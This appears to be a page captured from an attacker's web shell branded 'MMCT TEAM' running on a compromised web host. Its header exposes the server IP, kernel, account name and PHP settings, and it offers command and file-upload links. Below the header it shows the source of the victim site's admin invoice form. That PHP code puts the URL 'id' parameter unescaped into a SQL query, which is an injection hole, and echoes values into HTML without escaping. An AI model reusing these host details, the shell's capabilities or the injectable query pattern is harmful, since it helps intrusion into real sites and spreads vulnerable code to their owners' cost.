MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/public_html/agriba/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/agriba/admin/invoice-generate.php
<?php include'loginQuery/session_start.php';
include'dbc.php';
$pageTitle="Add a new Invoice and other attributes";
$pageName="Invoice";
$linkName="Show All Invoice";
$tableName="tbl_invoice";
$listPageUrl="invoice-generate-list.php";

?>

<!DOCTYPE html>
<html>
    <head>
    
        <meta charset="utf-8">
            <meta content="width=device-width, initial-scale=1.0" name="viewport">
                <meta content="IE=edge" http-equiv="X-UA-Compatible">
                    <!-- Page title -->
                    <title>
                    	<?php echo $pageName?>
                    </title>
                    <!-- Place favicon.ico and apple-touch-icon.png in the root directory -->
                    <!--<link rel="shortcut icon" type="image/ico" href="favicon.ico" />-->
                    <!-- Vendor styles -->
                    <?php include'include/header-file.php';?>
					<!--select feild css-->                    
					<link rel="stylesheet" href="vendor/select2-3.5.2/select2.css" />
                    <link rel="stylesheet" href="vendor/select2-bootstrap/select2-bootstrap.css" />
				    <link rel="stylesheet" href="vendor/bootstrap-touchspin/dist/jquery.bootstrap-touchspin.min.css" />
                    <link rel="stylesheet" href="vendor/summernote/dist/summernote.css" />
                        <link rel="stylesheet" href="vendor/summernote/dist/summernote-bs3.css" />
                </meta>
            </meta>
        </meta>
    </head>
   
<style>
		.small-header .panel-body h2 {
			margin-top:3px;
		}
		.hbreadcrumb {
			margin-top:0;
		}
</style>    
    <body class="hide-sidebar">
        <!-- Simple splash screen-->
    
        <!--[if lt IE 7]>
<p class="alert alert-danger">You are using an <strong>outdated</strong> browser. Please <a href="http://browsehappy.com/">upgrade your browser</a> to improve your experience.</p>
<![endif]-->
        <!-- Header -->
        <?php include'include/header.php';?>
        <!-- Header End-->

        <!-- Navigation -->
        <?php include'include/side-menu.php';?>
        <!-- Navigation -->
<?php
	
	if(isset($_GET['id']))
	{
		
		$idd=$_GET['id'];
		$sql=mysqli_query($conn,"select * from $tableName where id='$idd'") or die(mysqli_error($conn));
		$row=mysqli_fetch_assoc($sql);
		extract($row);       
		$mode="editInvoice";
		$btnname="Update";
	}
	else
	{
         $id                     ="";
        $state="";
        $name="";
        $email="";
        $address="";
        $pincode="";
        $invoice_number="";
        $order_number="";
        $order_date="";
        $payment_method="";
        $mobile="";
        $productname="";
        $size="";
        $qty="";
        $unit_price="";
        $taxtotal="";
        $mrp="";
        $total="";
		
		
		
		$mode="addInvoice";
		$idd="";
		$btnname="Save";
		$active='';
	}
	
?>        
        <!-- Main Wrapper -->
        <div id="wrapper">
       <!--small header start-->    
<div class="small-header">
    <div class="hpanel">
        <div class="panel-body">
            <div id="hbreadcrumb" class="pull-right">
                <ol class="hbreadcrumb breadcrumb">
                    <li><a href="<?php echo $listPageUrl;?>" class="btn  btn-warning"><strong><?php echo $linkName;?></strong></a></li>
                </ol>
            </div>
            <h2 class="font-light m-b-xs">
               <?php echo $pageName;?>
            </h2>
            <small><?php echo $pageTitle;?></small>
        </div>
    </div>
</div>     
										

<!--small header end-->   
            <div class="content ">
                <div class="row">
            
                    <div class="col-lg-12">
                        <div class="hpanel">
                            
                           
                            
                            <div class="panel-body">
                                <!-- Page Form-->
                                <form id="form_2" role="form" action="dataQuery/process.php" method="post" enctype="multipart/form-data">
                                    <input type="hidden" name="action" id="getaction" value="<?php echo $mode;?>"	 />
                                    <input type="hidden" id="getid" name="txtid" value="<?php echo $id;?>"	 />
    
         <div class="form-group row">
        <div class="col-xs-12 col-sm-6" >
            <label for="name">Payment Method<span class="text-danger">*</span></label>
            <select name="selpaymentmethod" class="form-control" required="">
    
                <option value="COD">COD</option>
                <option value="Online Payment">Online Payment</option>
            </select>
        </div>
        <?php
        $today_date=date("Y-m-d");
        ?>
        <div class="col-xs-12 col-sm-6" >
            <label for="name">Order Date<span class="text-danger">*</span></label>
            <input type="date" name="txtorderdate" value="<?php echo $today_date;?>"  class="form-control" required>
        </div>
     </div>
      <hr>
     <div class="form-group row">
        
        <div class="col-xs-12 col-sm-4" >
            <label for="name">Customer Name<span class="text-danger">*</span></label>
            <input type="text" name="txtname" value="<?php echo $name ;?>"  class="form-control" required>
        </div>
        <div class="col-xs-12 col-sm-4" >
            <label for="name">Email</label>
            <input type="text" name="txtemail" value="<?php echo $email ;?>"  class="form-control">
        </div>
        <div class="col-xs-12 col-sm-4" >
            <label for="name">Mobile<span class="text-danger">*</span></label>
            <input type="text" name="txtmobile" value="<?php echo $mobile ;?>"  class="form-control" required>
        </div>
     </div> 
      <hr>
     <div class="form-group row">
        <div class="col-xs-12 col-sm-6" >
            <label for="name">Address<span class="text-danger">*</span></label>
            <input type="text" name="txtaddress" value="<?php echo $address ;?>"  class="form-control" required>
        </div>
        <div class="col-xs-12 col-sm-6" >
            <label for="name">Pincode<span class="text-danger">*</span></label>
            <input type="text" name="txtpincode" value="<?php echo $pincode ;?>"  class="form-control" required>
        </div>
     </div> 
       <hr>
    <div class="form-group row">
     <label>Product Name / Unit / Qty / Price / MRP <label>
                                <!--product price stock-->
                <div class="form-group" id="demoabc">
                     <div>  

                    <div class="col-sm-4">
                      <input class="form-control" type="text" step="any" name="productname[]" placeholder="Product Name" value="<?php echo $productname;?>">
                    </div>
                    <div class="col-sm-2">
                      <input class="form-control" type="text" step="any" name="size[]" placeholder="Unit" value="<?php echo $size;?>" >
                    </div>
                    <div class="col-sm-1">
                      <input class="form-control" type="text" name="qty[]" placeholder="Qty" value="<?php echo $qty;?>" >
                    </div>
                    <div class="col-sm-2">
                      <input class="form-control" type="text" name="price[]" placeholder="price" value="<?php echo $unit_price;?>">
                    </div>
                    <div class="col-sm-2">
                      <input class="form-control" type="text" name="mrp[]" placeholder="MRP" value="<?php echo $mrp;?>">
                    </div>
                    <div class="col-sm-1" style="margin-bottom: 4px;">
                      <input type="button" class="btn btn-success" id="add" value="+" style="height:35px;">
                    </div> <hr>
                    </div>
                </div>

                           <!--product price stock close-->
    </div> 

     <hr>
                                    <div>
                                        <center><button class="btn btn-sm btn-primary m-t-n-xs" type="submit"><strong>Save Invoice</strong></button></center>
                                    </div>
    </div>
      <p>&nbsp;</p>
                                   
                                </form>

                            </div><!--panel body end-->
                            
                            
                        </div><!--hpanel end-->
                    </div><!--col-10 end-->

                </div>
            </div>
            <!-- Footer-->
            <?php include'include/footer-file.php';?>
<!--select feild css-->                    
<script src="vendor/bootstrap/dist/js/bootstrap.min.js"></script>
<script src="vendor/summernote/dist/summernote.min.js"></script>            
             <script>

    $(function () {

        // Initialize summernote plugin
        $('.summernote').summernote();

        $('.summernote1').summernote({
            toolbar: [
                ['headline', ['style']],
                ['style', ['bold', 'italic', 'underline', 'superscript', 'subscript', 'strikethrough', 'clear']],
                ['textsize', ['fontsize']],
                ['alignment', ['ul', 'ol', 'paragraph', 'lineheight']],
            ]
        });

        $('.summernote2').summernote({
            airMode: true,
        });

    });

</script>

<script src="vendor/bootstrap-touchspin/dist/jquery.bootstrap-touchspin.min.js"></script>
<script src="vendor/select2-3.5.2/select2.min.js"></script>
     <?php include'message.php';?>
       <script type="text/javascript">
        
 $(document).ready(function(){  
      var i=1;  
       
      $('#add').click(function(){  
           i++;  
  $('#demoabc').append('<div id="'+i+'"><div class="col-sm-4"><input class="form-control" type="text" name="productname[]" placeholder="Product Name"></div><div class="col-sm-2"><input class="form-control" type="text" name="size[]" placeholder="Unit"></div><div class="col-sm-1"><input class="form-control" type="text" name="qty[]" placeholder="QTY" value="" ></div><div class="col-sm-2"><input class="form-control" type="text" name="price[]" placeholder="Price" value="" ></div><div class="col-sm-2"><input class="form-control" type="text" name="mrp[]" placeholder="MRP" value="" ></div><div class="col-sm-1" style="margin-bottom: 4px;"><input type="button" name="remove" id="'+i+'" class="btn btn-danger btn_remove" value="-" style="height:35px;"></div></div>');   
       $('#abc').val(i); 
      });  
      $(document).on('click', '.btn_remove', function(){  
           var button_id = $(this).attr("id");   
           $('#'+button_id+'').remove();  
      });  
      
 });  
</script>

    


    </body>
</html>

MMCT - 2023